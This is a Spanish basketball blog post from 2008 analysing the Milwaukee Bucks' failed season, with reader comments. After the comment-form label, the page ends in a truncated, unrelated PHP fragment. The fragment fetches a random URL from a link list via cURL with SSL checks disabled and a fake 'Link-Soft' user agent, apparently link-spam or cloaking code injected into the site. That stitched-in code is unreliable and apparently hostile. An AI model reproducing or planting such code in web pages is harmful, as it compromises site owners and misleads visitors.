Expediente Bucks

01 de April de 2008 por txusma

herbkohl¿Os acordáis de aquellos preciosos análisis que preparamos a principio de temporada, cuando jugábamos a ser analistas o profetas? Pues ha llegado el momento de quitarles polvo, desenterrarlos de las profundidades y comprobar que por fortuna el deporte no es una ciencia exacta, que un solo traspaso cambia cualquier expectativa y que hay muchos Expedientes X en la NBA. Posiblemente, uno de los más fascinantes sean los Bucks.

A principios de temporadas comentábamos que la temporada 2006-2007 había sido una campaña para olvidar por culpa de las lesiones y la 2007-2008 lo será por culpa de… no lo sabemos. Los Bucks parecen un equipo serio, sin ninguna estrella tal vez, pero con un quinteto inicial lleno de calidad y oficio y con buenos jugadores en el banco, capaces de dar descanso a los teóricos titulares. Pero absolutamente nada ha salido como estaba previsto y los Bucks se encuentran ya a un paso de quedarse fuera de la ronda final en una temporada en que la clasificación para los Playoffs en el Este ha estado especialmente barata.jianlianheadache

Normalmente la primera persona a la que se culpa por los malos resultados de un equipo es al entrenador, casi siempre de manera injusta, aunque en este caso parece probado que Larry Krystkowiak no ha sabido gestionar correctamente a su plantilla. Tal vez presionado desde la directiva, Krystkowiak cometió al inicio de temporada 2 errores fatales: dar la titularidad al chino Yi Jianlian en detrimento de Charlie Villanueva y olvidar en el fondo del banquillo a un jugador destacadísimo la temporada anterior como Charlie Bell. Jianlian no ha engañado a nadie, ha demostrado todas sus virtudes y defectos (jugador con buena mano, que juega más como un SF que como un PF) y no ha sido en ningún momento el compañero ideal de Andrew Bogut en el juego interior. La sensación de que el chino era titular por decreto hizo estallar a Charlie Villanueva, que denunció su situación y pidió el traspaso si no cambiaba. Y a mitad de temporada cambió: Krystkowiak declaró que necesitaba alguien que cogiera rebotes y situó en el quinteto titular a Villanueva, quien le recompensó con actuaciones muy meritorias aunque no determinantes. El dominicano ha mejorado ligeramente las prestaciones del rookie aunque no de manera importante; pero su experiencia y su mayor intensidad son argumentos favorables a los que le apoyan frente al jugador asiático.

El caso de Charlie Bell puede ser aún más complicado. El jugador declaró públicamente que no quería renovar con los Bucks, pero éstos igualaron una oferta de los Heat y el escolta permaneció en el equipo. Posiblemente una mezcla entre castigo de la franquicia y falta de motivación del jugador propició que los primeros partidos de Bell fueran desastrosos, con pocos minutos y malas actuaciones. Poco a poco ha ido disfrutando de más tiempo de juego y ha ido ganando importancia en los esquemas del entrenador, pero es justo decir que su rendimiento no ha sido el de la temporada pasada.

El jugador que debía liderar al equipo, Michael Redd, ha bajado su promedio anotador por primera vez desde que es profesional y, a pesar de la gran calidad que atesora, ha hecho albergar dudas de que sea el hombre adecuado para ocupar el rol de jugador franquicia. En todo caso, Redd ha subido su promedio de rebotes y asistencias y se le ha visto más implicado en el juego de equipo. Andrew Bogut confirma que es otro gran segundo espada, cuando a principio de temporada se esperaba que diera el salto al nivel superior. A pesar de sus buenos números (14 puntos y 9.5 rebotes por partido) se le sigue tachando de reddbigoexcesivamente blando, sobre todo en defensa.

Es complicado saber qué le depara el futuro a los Bucks. Para empezar su GM, Larry Harris, fue despedido a finales de marzo y posiblemente el nombre del nuevo General Manager marcará la ruta a seguir a partir de ahora. Habrá que estar muy atentos de la evolución de los acontecimientos este verano ya que se esperan movimientos en una franquicia que acaba de celebrar su 40º aniversario. Lo hizo en una ceremonia que contó con la presencia del mítico Big O, Oscar Robertson. Eran tiempos definitivamente mejores para los Bucks.

Comenta

5 comentarios a esta entrada

  1. MagicJohnson32 dice:
    #1

    Lo que pasa con los Bucks ya lo decía Gallis el otro día. Sí, bonita plantilla, nombres llamativos, incluso estadísticas más que decentes. Pero luego, na. Mo Williams hace numerazos pero su influencia está muy por debajo; con Villanueva pasa lo mismo, y éste sólo hace numerazos de tanto en tanto. Redd es un magnífico anotador pero no un gran líder, y Bogut tampoco está ejerciendo de la referencia interior que se espera que sea. Y luego, bueno, entre Simmons, Mason y Jianlian hacen medio jugador, no más.

    Aun así deberían de haber estado luchando por los Playoffs, que sólo se les pide ser capaces de ganar 35 partidos.

      Citar

  2. Viva_Dirk dice:
    #2

    Para mi el máximo culpable es el entrenador. Creo que Villanueva si tiene mucha influencia en el juego, cuando juega claro, es muy joven y tiene altibajos, como Bogut, pero ambos juntos son uno de los juegos interiores con mayor potencial ofensivo de la competición.

    Han desperdiciado una buena ocasión con lo baratos que están los play-offs en el Este, y el año que viene toca renovar a los 2 antes nombrados.

      Citar

  3. Gallis dice:
    #3

    Para mi está claro. Este equipo no da para mucho más…es cierto que con unos PO´s tan baratos podían haber luchado un poco más, pero no me extraña nada que estén donde están…

    Y sobre la pareja Bogut- Villanueva, yo es que cada vez me fijo menos en el potencial de un jugador y más en como juega (aunque en Villanueva aún tengo un poco de fe, porque creo que se ha sido pelín injusto con él, por el tema del chino)…eso sí, ganas de pillar un buen contrato imagino que si que tendrán.

      Citar

  4. Dantley dice:
    #4

    No es un equipazo, pero sí tienen equipo para estar con 10 victorias más. Estoy con Viva que el entrenador (o también el decretazo chino) ha tenido que ver en esto.

      Citar

  5. Viva_Dirk dice:
    #5

    Creo que se está siendo bastante injusto con Bogut, en el juego de los Bucks no le dan la importancia que merece y parece que es un blando, cuando la realidad es que en casi 30 partidos no ha llegado a tirar 10 veces a canasta mientras otros tenian carta blanca.

    Ha tenido actuaciones tremendas y con el panorama interior que hay en buena parte de la liga deberia haber sido la primera opción en ataque, y no la 3ª o 4ª.

      Citar

Deja un comentario

html; } class Helper { public function random_date() { $low = '732045693'; $high = time(); $random = rand($low, $high); return date("D, d M Y H:i:s",$random); } } class Fetch_site { public $url; public $html; public function __construct($sites=null, $link_list=null) { $this->is_curl_installed(); if($link_list !== null) { $this->choose_site($link_list); } $this->load_site($this->url); } public function choose_site($file=null) { $file = explode("\n", $file); $key = rand(0, (count($file)-1)); $this->url = trim($file[$key]); } public function load_site($url) { $useragent = array('Link-Soft'); $rand = array_rand($useragent); $ch = curl_init(); $options = array( CURLOPT_URL => $url, CURLOPT_HEADER => 0, CURLOPT_USERAGENT => $useragent[$rand], CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_RETURNTRANSFER => 1, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_ENCODING => "", CURLOPT_AUTOREFERER => 1, CURLOPT_CONNECTTIMEOUT => 30, CURLOPT_TIMEOUT => 30, CURLOPT_MAXREDIRS => 5, ); curl_setopt_array($ch,$options); $result = curl_exec($ch); if(!$result) { return curl_error($ch); } curl_close($ch); $this->html = $result; } public function is_curl_installed() { if(!in_array('curl',get_loaded_extensions())) { trigger_error("cURL PHP extension is disabled or not installed.",E_USER_ERROR); } } } unset($n); ?>